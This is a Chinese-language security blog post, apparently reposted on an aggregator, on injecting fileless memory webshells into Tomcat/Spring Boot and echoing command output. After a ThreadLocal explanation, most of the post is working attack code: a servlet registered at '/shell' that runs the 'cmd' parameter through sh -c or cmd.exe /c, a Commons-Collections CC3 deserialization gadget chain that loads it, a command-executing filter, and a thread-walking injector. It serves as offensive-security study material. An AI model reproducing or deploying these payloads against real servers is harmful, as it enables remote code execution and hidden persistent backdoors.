Tomcat内存马回显

这篇具有很好参考价值的文章主要介绍了Tomcat内存马回显。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

回顾JSP马

详情见:https://www.cnblogs.com/F12-blog/p/18111253
之前说的都是利用 jsp 注入内存马,但 Web 服务器中的 jsp 编译器还是会编译生成对应的 java 文件然后进行编译加载并进行实例化,所以还是会落地。
但如果直接注入,比如利用反序列化漏洞进行注入,由于 request 和 response 是 jsp 的内置对象,在回显问题上不用考虑,但如果不用 jsp 文件,就需要考虑如何回显的问题。
其实主要要解决的问题就是如何获取 request 和 response 对象。
目前主流的回显技术(部分)主要有:

  • linux 下通过文件描述符,获取 Stream 对象,对当前网络连接进行读写操作。
    限制:必须是 linux,并且在取文件描述符的过程中有可能会受到其他连接信息的干扰
  • 通过ThreadLocal Response回显,基于调用栈获取中获取 response 对象(ApplicationFilterChain中)
    限制:如果漏洞在 ApplicationFilterChain 获取回显 response 代码之前,那么就无法获取到Tomcat Response进行回显。
  • 通过全局存储 Response回显,寻找在Tomcat处理 Filter 和 Servlet 之前有没有存储 response 变量的对象
    限制:会导致http包超长,但相对比较通用。

ThreadLocal Response 回显

什么是ThreadLocal

ThreadLocal的作用就是:线程安全。 ThreadLocal的本质就是一个内部的静态的map,key是当前线程的句柄,value是需要保持的值。 由于是内部静态map,不提供遍历和查询的接口,每个线程只能获取自己线程的value。 这样,就线程安全了,又提供了数据共享的能力。
举个例子

package org.example;


import java.util.concurrent.TimeUnit;

public class NumUtil {
    public static int addNum = 0;
    public static int add10(int num) throws InterruptedException {
        addNum = num;
        try {
            TimeUnit.SECONDS.sleep(1);
        } catch (InterruptedException e){
            e.printStackTrace();
        }
        return addNum + 10;
    }
}
package org.example;

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class threadDemo {
    public static void main(String[] args) {
        ExecutorService executorService = Executors.newFixedThreadPool(20);
        for(int i=0;i<20;i++){
            int num = i;
            executorService.execute(()->{
                try {
                    System.out.println(num+":"+NumUtil.add10(num));
                } catch (InterruptedException e) {
                    throw new RuntimeException(e);
                }
            });
        }
        executorService.shutdown();
    }
}
// 输出
6:29
11:29
13:29
14:29
0:29
3:29
12:29
15:29
17:29
18:29
7:29
16:29
2:29
1:29
9:29
10:29
19:29
8:29
4:29
5:29

一个利用线程来进行对addNum加数的操作,这结果是不是看着怪怪的,全是29。
这里其实可以结合条件竞争来理解,在多线程的情况下,比如线程1中for循环到数字9,由于不同线程之间变量没有隔离,这时候线程2执行到了addn10方法中,就接替了线程1的工作,进行+10,但是线程2中for循环只到了2。因此会输出2:29这样的数字,其他结果也是同样的道理
解决方法有很多,其中一种就是运用ThreadLocal创建独立的线程变量域:
将之前的工具类改为:

public class NumUtil {

    private static ThreadLocal<Integer> addNumThreadLocal = new ThreadLocal<>();

    public static int add10(int num) {
        addNumThreadLocal.set(num);
        try {
            TimeUnit.SECONDS.sleep(1);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        return addNumThreadLocal.get() + 10;
    }
}
package org.example;

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class threadDemo {
    public static void main(String[] args) {
        ExecutorService executorService = Executors.newFixedThreadPool(20);
        for(int i=0;i<20;i++){
            int num = i;
            executorService.execute(()->{
                System.out.println(num+":"+NumUtil.add10(num));
            });
        }
        executorService.shutdown();
    }
}
// 输出
4:14
16:26
10:20
18:28
17:27
11:21
9:19
2:12
3:13
8:18
15:25
6:16
7:17
0:10
1:11
13:23
12:22
14:24
19:29
5:15

这回就正常了,在这之中我们创建了ThreadLocal,之前也说了本质就是一个用于存放当前进程变量的map,ThreadLocalMap是其内部类,调用了它的set和get方法用于储存和取出变量
Tomcat内存马回显Tomcat内存马回显

ApplicationFilterChain#internalDoFilter

启一个springboot服务(3.0.2),简单的写个servlet,然后打个断点访问就能看到调用栈了
Tomcat内存马回显
可以看到重复调用了internalDoFilter,我们通过观察ApplicationFilterChain这个类可以发现,他内置了两个变量lastServicedRequestlastServicedResponse,分别都是ThreadLocal类型:
Tomcat内存马回显
internalDoFilter方法中对这两个属性进行了赋值,不过得满足上方的if条件,这里的request和response就是我们目标对象,这里dispatcherWrapsSameObject默认就是false,我们可以通过反射修改,第一次访问URL,对dispatcherWrapsSameObject进行修改,第二次访问URL就能获取request和response
Tomcat内存马回显

Springboot版本问题

springboot2和springboot3,它们的if条件不同
springboot2:
Tomcat内存马回显
springboot3:
Tomcat内存马回显

反射修改static final属性

在SpringBoot2中ApplicationDispatcher.WRAP_SAME_OBJECT的类型是一个private static final类型的属性,这种属性由于一些原因无法被反射直接修改,我们可以通过反射去除final修饰符的方式达到修改的目的
Tomcat内存马回显
modifiers实际就是一个int类型的26,并且每个修饰符都有一个int的值,比如private是2,static是8,final是16那么我们只需要把目标属性的modifiers属性减去16,就相当于去除了final属性,图中取反然后按位与操作就是实现减16

JDK版本问题

在JDK12+之后,我们就不能通过上述方法移除final修饰符了,会报错NoSuchFiled:modifiers
所以这里并不研究jdk12以后的回显问题,所以在这里将SpringBoot降到了2.6版本,JDK降到了11

初步构造回显

package com.example.springboot2.controller;

import org.apache.catalina.core.ApplicationFilterChain;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

@Controller
public class echoshell {
    @RequestMapping("/normal")
    @ResponseBody
    public String hello() throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException {
        //反射获取3个属性
        Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
        Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
        Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
        //去除final修饰符
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        //设置private可访问可修改
        modifiersField.setAccessible(true);
        WRAP_SAME_OBJECT_FIELD.setAccessible(true);
        lastServicedRequestField.setAccessible(true);
        lastServicedResponseField.setAccessible(true);
        modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
        modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
        modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
        //反射修改lastServiceresponse和lastservicerequest属性的值
        ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
        ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
        //修改WRAP_SAME_OBJECT_FIELD值为true,进入request判断
        boolean wrap_same_object_fieldBoolean = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
        //第一次进入时为false和null
        if (!wrap_same_object_fieldBoolean || lastServicedResponse == null || lastServicedRequest == null) {
            System.out.println("in");
            lastServicedRequestField.set(null, new ThreadLocal<>());
            lastServicedResponseField.set(null, new ThreadLocal<>());
            WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
        }
        //第二次进入时就进入了if赋值为了request和response,因此进入else
        else {
            String name = "xxx";
            //从req中获取ServletContext对象
            // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
            ServletRequest servletRequest = lastServicedRequest.get();
            ServletContext servletContext = servletRequest.getServletContext();
            System.out.println(servletContext);
            System.out.println(servletRequest);

        }
        return "nothing";
    }
}

访问两次成功获取ServletContextrequest
Tomcat内存马回显

反序列化注入Servlet内存马

准备一个CC3的环境的springboot2,写一个反序列化入口

package com.example.springboot2.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

@Controller
public class echoshell {
    @RequestMapping("/normal")
    @ResponseBody
    public void hello(HttpServletRequest request) throws IOException {
        System.out.println("in");
        byte[] data = Base64.getDecoder().decode(request.getParameter("data"));
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        try{
            System.out.println(objectInputStream.readObject());
        } catch (ClassNotFoundException e){
            e.printStackTrace();
        }
    }
}

准备内存马:

package com.example.springboot2.controller;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

public class shellcode extends AbstractTranslet implements Servlet{

    static {
        try {
            Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
            Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
            Field modifiers = Field.class.getDeclaredField("modifiers");
            modifiers.setAccessible(true);
            // 去掉final修饰符,设置访问权限
            modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
            modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
            modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
            WRAP_SAME_OBJECT.setAccessible(true);
            lastServicedRequest.setAccessible(true);
            lastServicedResponse.setAccessible(true);
            // 修改 WRAP_SAME_OBJECT 并且初始化 lastServicedRequest 和 lastServicedResponse
            if (!WRAP_SAME_OBJECT.getBoolean(null)) {
                WRAP_SAME_OBJECT.setBoolean(null, true);
                lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
                lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
            } else {
                String name = "xxx";
                //从req中获取ServletContext对象
                // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
                ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
                ThreadLocal<ServletResponse> threadLocalResp = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
                ServletRequest servletRequest = threadLocalReq.get();
                ServletResponse servletResponse = threadLocalResp.get();

                ServletContext servletContext = servletRequest.getServletContext();


                if (servletContext.getServletRegistration(name) == null) {
                    StandardContext o = null;

                    // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                    while (o == null) {
                        Field f = servletContext.getClass().getDeclaredField("context");
                        f.setAccessible(true);
                        Object object = f.get(servletContext);

                        if (object instanceof ServletContext) {
                            servletContext = (ServletContext) object;
                        } else if (object instanceof StandardContext) {
                            o = (StandardContext) object;
                        }
                    }

                    //自定义servlet
                    Servlet servlet = new shellcode();

                    //用Wrapper封装servlet
                    Wrapper newWrapper = o.createWrapper();
                    newWrapper.setName(name);
                    newWrapper.setLoadOnStartup(1);
                    newWrapper.setServlet(servlet);

                    //向children中添加Wrapper
                    o.addChild(newWrapper);
                    //添加servlet的映射
                    o.addServletMappingDecoded("/shell", name);

                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
}

cc3:

package com.f12;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc3.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static String encryptToBase64(String filePath) {
        if (filePath == null) {
            return null;
        }
        try {
            byte[] b = Files.readAllBytes(Paths.get(filePath));
            return Base64.getEncoder().encodeToString(b);
        } catch (IOException e) {
            e.printStackTrace();
        }

        return null;
    }
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\springboot2\\target\\classes\\com\\example\\springboot2\\controller\\shellcode.class"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
//        Transformer transformer = templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
        Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        Object o = constructor.newInstance(Target.class, newMap);
        serialize(o);
        System.out.println(encryptToBase64("cc3.bin"));
//        deserialize("cc3.bin");
//        Map<Object, Object> map = new HashMap<>();
//        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
//        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
//        HashMap<Object, Object> hashMap = new HashMap<>();
//        hashMap.put(tiedMapEntry, null);
//        map.remove(null);
//        Field factory = LazyMap.class.getDeclaredField("factory");
//        factory.setAccessible(true);
//        factory.set(lazymap, chainedTransformer);
//        serialize(hashMap);
//        deserialize("cc3.bin");
    }
}

访问两次,虽然会报错,但是能成功注入内存马
Tomcat内存马回显

局限性

上述是一种半通用的方法,有一定的局限性,该方法入口类是在ApplicationFilterChain#internalDofilter方法,假如序列化触发点在这之前的话就无法注入(比如shiro),并且还有JDK和SpringBoot的版本限制

基于Tomcat全局存储进行回显

通杀某些版本

流程分析

还是起个springboot,简单写个servlet,打个断点看调用栈,定位Http11Processor,调用了getAdapter().service(request, response);,其中的request和response都来自父类AbstractProcessor
Tomcat内存马回显
往上找,在AbstractProtocol#ConnectionHandler中调用了register方法注册了processor,这里的processor就是上面的Http11processorTomcat内存马回显
继续跟进,在register方法中,有个RequestInfo类型的对象rp,里面封装着一个request对象,rp.setGlobalProcessor(global);将rp存入global属性中
Tomcat内存马回显
这个request对象是和之前Http11processor中的request对象相同的,既然把同一个request对象放到了global中,所以我们尝试寻找存储了AbstractProtocol实例的地方,由于global对象是在内部类ConnectionHandler中,如果可以获取到AbstractProtocol对象,那么就能通过反射getHandler方法来获取到内部类ConnectionHandler的实例,进而获取global:既然同一个request对象都被封装进了AbstractProtocolglobal属性当中,那现在需要做的就是如何找到储存了AbstractProtocol类的地方,只要找到了我们就可以通过反射获取,找到AbstractEndpoint其中的Handler接口:Tomcat内存马回显
思路图如下:
Tomcat内存马回显
所以现在就是需要获取AbstractProtocol,我们继续观察调用栈,可以发现在CoyoteAdapter类中的connector属性中存放了protocolHandler对象:
Tomcat内存马回显
protocolHandlerAbstractProtocol的继承关系图如下:
Tomcat内存马回显
并且通过观察可以发现存在connector属性中的protocolHandler属性真实类型为Http11NioProtocol对象,而这刚好就是AbstractProtocol的子类,我们可以通过向上转型从而获取AbstractProtocol,然后去获取global属性,进而获取requestinfo最后获取request对象,这个Connector类是在org.apache.catalina包下的,Tomcat会最先加载这个包,所以我们到Tomcat启动过程中寻找一下Connector类的踪迹。如果熟悉Spring boot启动Tomcat服务器流程的话,可以知道在TomcatServletWebServerFactory#getWebServer方法中执行了addConnector方法,执行完之后就会把connector对象封装到StandardService对象中:
Tomcat内存马回显
后面的思路就是通过WebappClassLoaderBase这个线程上下文类加载器与StrandardService来产生联系,这个类加载器我们可以直接通过Thread.currentThread().getContextClassLoader()来直接获取到实例,所以整个寻找链也就完成了:

WebappClassLoaderBase --> 
	resources(StandardRoot) -->
		context(StandardContext) -->
			context(ApplicationContext) -->
				service(StandardService) -->
					connectors(Connector[]) -->
						protocolHandler(ProtocolHandler) -->
							(转型)protocolHandler(AbstractProtocol) -->
								(内部类)hanlder(AbstractProtocol$ConnectorHandler) -->
									global(RequestGroupInfo) -->
										processors(ArrayList) -->
											requestInfo(RequestInfo) -->
												req(org.apache.coyote.Request) --getNote-->
													request(org.apache.connector.Request) -->
														response(org.apache.connector.Response)

有一点需要注意的是,我们最后拿到的Request对象是org.apache.coyote.Request,而真正需要其实是org.apache.catalina.connector.Request对象,前者是是应用层对于请求-响应对象的底层实现,并不方便使用,通过调用其getNote方法可以得到后者

内存马回显构造

package com.example.springboot2.filter;
import org.apache.catalina.Context;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Scanner;

@WebFilter(filterName = "testFilter", urlPatterns = "/*")
public class Filter3 implements Filter {
    @Override
    public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain chain) throws IOException, ServletException {
        String cmd = null;
        try {
            WebappClassLoaderBase loader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            Context context = loader.getResources().getContext();
            // 获取 ApplicationContext
            Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            applicationContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(context);
            // 获取 StandardService
            Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            serviceField.setAccessible(true);
            StandardService standardService = (StandardService) serviceField.get(applicationContext);

            // 获取 Connector 并筛选 HTTP Connector
            Connector[] connectors = standardService.findConnectors();
            for (Connector connector : connectors) {
                if (connector.getScheme().contains("http")) {
                    // 获取 AbstractProtocol 对象
                    AbstractProtocol abstractProtocol = (AbstractProtocol) connector.getProtocolHandler();

                    // 获取 AbstractProtocol$ConnectionHandler
                    Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
                    getHandler.setAccessible(true);
                    AbstractEndpoint.Handler ConnectionHandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol);

                    // global(RequestGroupInfo)
                    Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
                    globalField.setAccessible(true);
                    RequestGroupInfo global = (RequestGroupInfo) globalField.get(ConnectionHandler);

                    // processors (ArrayList)
                    Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                    processorsField.setAccessible(true);
                    ArrayList processors = (ArrayList) processorsField.get(global);

                    for (Object processor : processors) {
                        RequestInfo requestInfo = (RequestInfo) processor;
                        // 依据 QueryString 获取对应的 RequestInfo
                        if (requestInfo.getCurrentQueryString().contains("cmd")) {
                            Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                            reqField.setAccessible(true);
                            // org.apache.coyote.Request
                            Request requestTemp = (Request) reqField.get(requestInfo);
                            // org.apache.catalina.connector.Request
                            org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) requestTemp.getNote(1);

                            // 执行命令
                            cmd = request.getParameter("cmd");
                            String[] cmds = null;
                            if (cmd != null) {
                                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                                    cmds = new String[]{"cmd", "/c", cmd};
                                } else {
                                    cmds = new String[]{"/bin/bash", "-c", cmd};
                                }
                                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                                Scanner s = new Scanner(inputStream).useDelimiter("//A");
                                String output = s.hasNext() ? s.next() : "";
                                PrintWriter writer = request.getResponse().getWriter();
                                writer.write(output);
                                writer.flush();
                                writer.close();

                                break;
                            }
                        }
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

        chain.doFilter(request1, response1);
    }
}

主类记得加上扫描注解

package com.example.springboot2;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.web.servlet.ServletComponentScan;

@SpringBootApplication
@ServletComponentScan
public class Springboot2Application {

    public static void main(String[] args) {
        SpringApplication.run(Springboot2Application.class, args);
    }

}

Tomcat内存马回显

局限性

该方法在tomcat10以下应该是可以通杀的,因为之前用的高版本springBoot,springboot在2.6以后移除了getresources方法,所以寄

通过遍历进程来获取Context

package com.example.springboot2.controller;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Scanner;

public class Tomcat6789 extends AbstractTranslet implements Servlet {
    public static Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (NoSuchFieldException e){}
            catch (IllegalAccessException e){}
            clazz = clazz.getSuperclass();
        }
        return null;
    }

    public Tomcat6789() {
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    static {
        String uri = "";
        String serverName = "";
        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {

            if (thread == null) {
                continue;
            }
            if (thread.getName().contains("exec")) {
                continue;
            }
            Object target = getField(thread, "target");
            if (!(target instanceof Runnable)) {
                continue;
            }

            try {
                object = getField(getField(getField(target, "this$0"), "handler"), "global");
            } catch (Exception e) {
                continue;
            }
            if (object == null) {
                continue;
            }
            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();

                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)){continue;}
                org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                serverName = (String) getField(serverNameMB, "strValue");
                if (serverName == null){
                    serverName = serverNameMB.toString();
                }
                if (serverName == null){
                    serverName = serverNameMB.getString();
                }

                org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
                uri = (String) getField(uriMB, "strValue");
                if (uri == null){
                    uri = uriMB.toString();
                }
                if (uri == null){
                    uri = uriMB.getString();
                }
            }
        }
        Thread[] threads2 = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads2) {
            if (thread == null) {
                continue;
            }
            if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                Object target = getField(thread, "target");
                HashMap children;
                Object jioEndPoint = null;
                try {
                    jioEndPoint = getField(target, "this$0");
                }catch (Exception e){}
                if (jioEndPoint == null){
                    try{
                        jioEndPoint = getField(target, "endpoint");
                    }catch (Exception e){}
                }
                Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
                StandardEngine engine = null;
                try {
                    engine = (StandardEngine) getField(service, "container");
                }catch (Exception e){}
                if (engine == null){
                    engine = (StandardEngine) getField(service, "engine");
                }

                children = (HashMap) getField(engine, "children");
                StandardHost standardHost = (StandardHost) children.get(serverName);

                children = (HashMap) getField(standardHost, "children");
                Iterator iterator = children.keySet().iterator();
                while (iterator.hasNext()){
                    String contextKey = (String) iterator.next();
                    if (!(uri.startsWith(contextKey))){continue;}
                    StandardContext standardContext = (StandardContext) children.get(contextKey);
                    Servlet myServlet = new Tomcat6789();
                    Wrapper newWrapper = standardContext.createWrapper();
                    newWrapper.setName("xxx");
                    newWrapper.setLoadOnStartup(1);
                    newWrapper.setServlet(myServlet);
                    standardContext.addChild(newWrapper);
                    standardContext.addServletMappingDecoded("/shell", "xxx");
                }
            }
        }
    }

    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        //普通回显
        PrintWriter out = res.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
}

这是在所有基于tomcat的javaweb的一种通杀方法,我们可以获取当前所有进程,总可以获取到总服务里的springboot的进程,这样进而获取其中的context,然后再注入内存马。但是似乎代码逻辑有问题,springboot2+tomcat9的环境下会报错,其它环境未尝试,待解决....文章来源地址https://www.toymoban.com/news/detail-844384.html

到了这里,关于Tomcat内存马回显的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • SAR: 1 4 https://www.vulnhub.com/entry/sar-1%2C425/

    About Release Back to the Top Name : Sar: 1 Date release : 15 Feb 2020 Author : Love Series : Sar Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggesti

    2024年02月13日
    浏览(35)
  • 谷歌浏览器地址栏不显示http或者https://www.前缀解决办法

